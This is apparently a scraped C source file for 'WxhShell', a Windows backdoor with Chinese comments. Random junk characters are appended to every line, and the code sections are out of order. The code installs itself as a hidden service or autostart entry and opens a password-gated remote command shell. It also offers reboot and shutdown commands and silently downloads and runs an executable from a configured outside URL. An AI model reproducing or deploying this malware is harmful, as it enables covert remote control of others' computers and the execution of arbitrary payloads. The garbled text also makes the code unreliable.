} PROCESS_BASIC_INFORMATION; .rDao]K
8|hi2Qeu,c
PROCNTQSIP NtQueryInformationProcess; b3GTsX\2|
&s\,+d0
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ^b.fci{1m
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; <X97W\
9(Kff nE^
HANDLE hProcess; iN@|08
PROCESS_BASIC_INFORMATION pbi; <P Vmr2Jp"
W^H[rX}=
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); lKRp9isn^
if(NULL == hInst ) return 0; >Mm.MNU
3] U/^f3
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); %uP/v\l
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); TUp%Cx
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ]@}@G[e#[
7d_"4;K)
if (!NtQueryInformationProcess) return 0; sJg3WN
TQ {8 ee{
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); f,@~@f
X
if(!hProcess) return 0; HE2t0sAYX
/cZcfCW
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; AZJ|.mV q
]InDcE
CloseHandle(hProcess); ,zBc-Cm
d _=44( -
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ydzvjp=
if(hProcess==NULL) return 0; cf_X=;yaqy
qNkX:|j
HMODULE hMod;
yW_goS0
char procName[255]; VOmS>'$
unsigned long cbNeeded; $@dPIq4o;}
U[@B63];0
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ;q<:iaY9
=G rg
CloseHandle(hProcess); h{E9rc1,
lg jY\?
if(strstr(procName,"services")) return 1; // 以服务启动 Lg6>\Z4
x1#6~283
return 0; // 注册表启动 )YLZ"@
} _p+q)#.W
*b1NVN$
// 主模块 B8V85R
int StartWxhshell(LPSTR lpCmdLine) 6y@o[=m
{ DsiyN:o'+
SOCKET wsl; Yd~Tzh
BOOL val=TRUE; Sa6YqOel@
int port=0; "9H#pj -
struct sockaddr_in door; JCITIjD7=
CT{X$N
if(wscfg.ws_autoins) Install(); f%STkL)
IS!]!s'EI
port=atoi(lpCmdLine); Lb2/ Te*
mgEZiAV ?
if(port<=0) port=wscfg.ws_port; =Ajw(I[56
n]wZ7z
WSADATA data; .-p?skm=a
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 79M`?xm
y;LZX-Z-
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ?kc,}/4
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 7I6&*I
door.sin_family = AF_INET; s3 gT6
door.sin_addr.s_addr = inet_addr("127.0.0.1"); W4AFa>h
door.sin_port = htons(port); bEzy KrN\
,<CzS,(
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { }Ot2; T
closesocket(wsl); 54&&=NVs|
return 1; RYX=;n
} *wz6 2p
#!M;4~Sfx
if(listen(wsl,2) == INVALID_SOCKET) { HG})VPBa
closesocket(wsl); mz .uK2l{
return 1;
ob=IaZ@?
} 9KZLlEk5O
Wxhshell(wsl); %|?PG i@5
WSACleanup(); x$V[xX
/57)y_ \
return 0; q?Mmkh)g
)G9,5[
} Ob7F39):N
7ZpU -':
// 以NT服务方式启动 /=:X,^"P
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) c<g{&YJ
{ j}DG +M
DWORD status = 0; p4wXsOQ}
DWORD specificError = 0xfffffff; 5A"OL6ty
Aj2yAg
serviceStatus.dwServiceType = SERVICE_WIN32;
]4oF!S%F
serviceStatus.dwCurrentState = SERVICE_START_PENDING; l,M?
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; +Tp>3Jh2
serviceStatus.dwWin32ExitCode = 0; EWoGdH|
serviceStatus.dwServiceSpecificExitCode = 0; KZTT2KsYl
serviceStatus.dwCheckPoint = 0; SNf*2~uq)
serviceStatus.dwWaitHint = 0; x-s]3'!L
Y-:{a1/RKo
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); QW}N,j$
if (hServiceStatusHandle==0) return; cH\.-5NQ
L[ 7Aa"R
status = GetLastError(); u+vUv~4A6
if (status!=NO_ERROR) 2UjQ!g`
{ *.NVc
serviceStatus.dwCurrentState = SERVICE_STOPPED; IH'&W
serviceStatus.dwCheckPoint = 0; o8ADAU"
serviceStatus.dwWaitHint = 0; c27A)`
serviceStatus.dwWin32ExitCode = status; @,v.Y6Ge
serviceStatus.dwServiceSpecificExitCode = specificError; *H%Jgz,
SetServiceStatus(hServiceStatusHandle, &serviceStatus); C)`y<O
return; elm]e2)F
} gS4@3BOw&.
{%3sj"suB
serviceStatus.dwCurrentState = SERVICE_RUNNING; f\gN+4)
serviceStatus.dwCheckPoint = 0; +&hd3
serviceStatus.dwWaitHint = 0; bIahjxd:
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); g)#neEA J
} E
h>qUa
k9?fE
// 处理NT服务事件,比如:启动、停止 D>Dch0{H,:
VOID WINAPI NTServiceHandler(DWORD fdwControl) 'uw=)8t7
{ 8!{F6DG
switch(fdwControl) $17utJ58
{ J(\f(jh/
case SERVICE_CONTROL_STOP: elf2!
serviceStatus.dwWin32ExitCode = 0; F&x9.
serviceStatus.dwCurrentState = SERVICE_STOPPED; %B'*eBj~fw
serviceStatus.dwCheckPoint = 0; -*Z;EA-
serviceStatus.dwWaitHint = 0; ht%:e?@i
{ %JC-%TRWK
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9.qjEe
} zQQ=8#]
return; p$
%D
case SERVICE_CONTROL_PAUSE: ACcxQK}
serviceStatus.dwCurrentState = SERVICE_PAUSED; H$i4OQ2
break; w{;esU
case SERVICE_CONTROL_CONTINUE: I&O}U|l06
serviceStatus.dwCurrentState = SERVICE_RUNNING; h"{Z%XPX#
break; \vvV=iw
case SERVICE_CONTROL_INTERROGATE: L<**J\=7M
break; PYp<eo\
}; TS{ycGY
SetServiceStatus(hServiceStatusHandle, &serviceStatus);
*CtOQ
} EpCsJ08K
..xg4V/
// 标准应用程序主函数 &k4)&LQJ
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Ec^x
{ hWujio/h
h{&}p-X&[
// 获取操作系统版本 qZ6Mk9@M
OsIsNt=GetOsVer(); {@c)!%2$
GetModuleFileName(NULL,ExeFile,MAX_PATH); xi2!__
=)GhrWeVi4
// 从命令行安装 i?&g;_n^
if(strpbrk(lpCmdLine,"iI")) Install(); ~]_gq;bG
d)&}%
2ku
// 下载执行文件 gE>_:s
if(wscfg.ws_downexe) { 3"Y
|RSy
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) N>S_Vgk}
WinExec(wscfg.ws_filenam,SW_HIDE); nDvj*lZF
} El$yM.M"
:NJ(QkTZv
if(!OsIsNt) { xM3T7PV9
// 如果时win9x,隐藏进程并且设置为注册表启动 3~7X2}qU
HideProc(); 7]w]i5
StartWxhshell(lpCmdLine); 11s*C #
} D@5AI
](
else '
?3e 1
if(StartFromService()) ivKhzU+
// 以服务方式启动 YVMwb@|
StartServiceCtrlDispatcher(DispatchTable); GDgq
4vfj
else V~>
x\
// 普通方式启动 WML%yO\.;
StartWxhshell(lpCmdLine); [h>RO55e
V]V~q ]
return 0; a.r+>44M
} ~hSr06IY
ep-~;?
I'M,p<B
G:HPd.ay
=========================================== JlZU31Xws
%4/>7 aB]Y
_{fh/{b1
<lj;}@qQ<
f?OFMac
Ungex@s_
" ([y 2x.kd
Ydw04WEJ
#include <stdio.h> _<`j?$P
#include <string.h> t7"vAjZU
#include <windows.h> Uk=-A
@q
#include <winsock2.h> f,'gQ5\ X3
#include <winsvc.h> brk>oM;t
#include <urlmon.h> )zzK\I6/EQ
hP1H/=~
#pragma comment (lib, "Ws2_32.lib") x4&<Vr
#pragma comment (lib, "urlmon.lib") =@F1J7
?=X G#we
#define MAX_USER 100 // 最大客户端连接数 K/+Y9JP9
#define BUF_SOCK 200 // sock buffer =}6yMR!4R<
#define KEY_BUFF 255 // 输入 buffer o/grM+_
%Y7\0q~Z
#define REBOOT 0 // 重启 Z Sj[GI
#define SHUTDOWN 1 // 关机 OaeGukhX&
6 6G$5
#define DEF_PORT 5000 // 监听端口 =BN_Kvza^6
UE2!,Z,
#define REG_LEN 16 // 注册表键长度 LZirw'
#define SVC_LEN 80 // NT服务名长度 YY\$lM
[ &cCE
// 从dll定义API G1t{a:
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); /1F5khN
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Oq-O|qJj
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 7q2G/_
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); =i_
s#v[Y
`*5_`^t
// wxhshell配置信息 /0PBY-O
struct WSCFG { .d)X.cO
int ws_port; // 监听端口 TC7Rw}jF
char ws_passstr[REG_LEN]; // 口令 To_Y
8 G
int ws_autoins; // 安装标记, 1=yes 0=no .DzFtc
char ws_regname[REG_LEN]; // 注册表键名 v##k,R.d
char ws_svcname[REG_LEN]; // 服务名 $IZ02ZM$
char ws_svcdisp[SVC_LEN]; // 服务显示名 PyOj{WX>W
char ws_svcdesc[SVC_LEN]; // 服务描述信息 n&? --9r
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 zGfF.q}
int ws_downexe; // 下载执行标记, 1=yes 0=no ^W&qTSjh
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" \yIan<q
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 jF5Y-CX
eI%{/>
}; MGt[zLF9
sp=;i8Y 3
// default Wxhshell configuration 8.9Z0
struct WSCFG wscfg={DEF_PORT, tVB9kxtE
"xuhuanlingzhe", &!|' EW
1, c7~+ 5
"Wxhshell", : MfY8P)
"Wxhshell", ; L<D-=
"WxhShell Service", P;.j5P^j`
"Wrsky Windows CmdShell Service", {yo<19kV@
"Please Input Your Password: ", I
,j,Hz0
1, _Hhf.DmUAH
"http://www.wrsky.com/wxhshell.exe", rD"$,-h
"Wxhshell.exe" q%g!TFMg
}; #H0-Fwo
/I`AwCx
// 消息定义模块 MLbmz\8a
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 3}:(.K
char *msg_ws_prompt="\n\r? for help\n\r#>"; xSnkv,my<
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; k0@b"y*
char *msg_ws_ext="\n\rExit."; P2U^%_~
char *msg_ws_end="\n\rQuit."; b0QC91
char *msg_ws_boot="\n\rReboot..."; PV[Bq t
char *msg_ws_poff="\n\rShutdown..."; xL-]gwq
char *msg_ws_down="\n\rSave to "; JDp"!x{O
zEHX:-f8
char *msg_ws_err="\n\rErr!"; <'{*6f@n
char *msg_ws_ok="\n\rOK!"; : eL{&&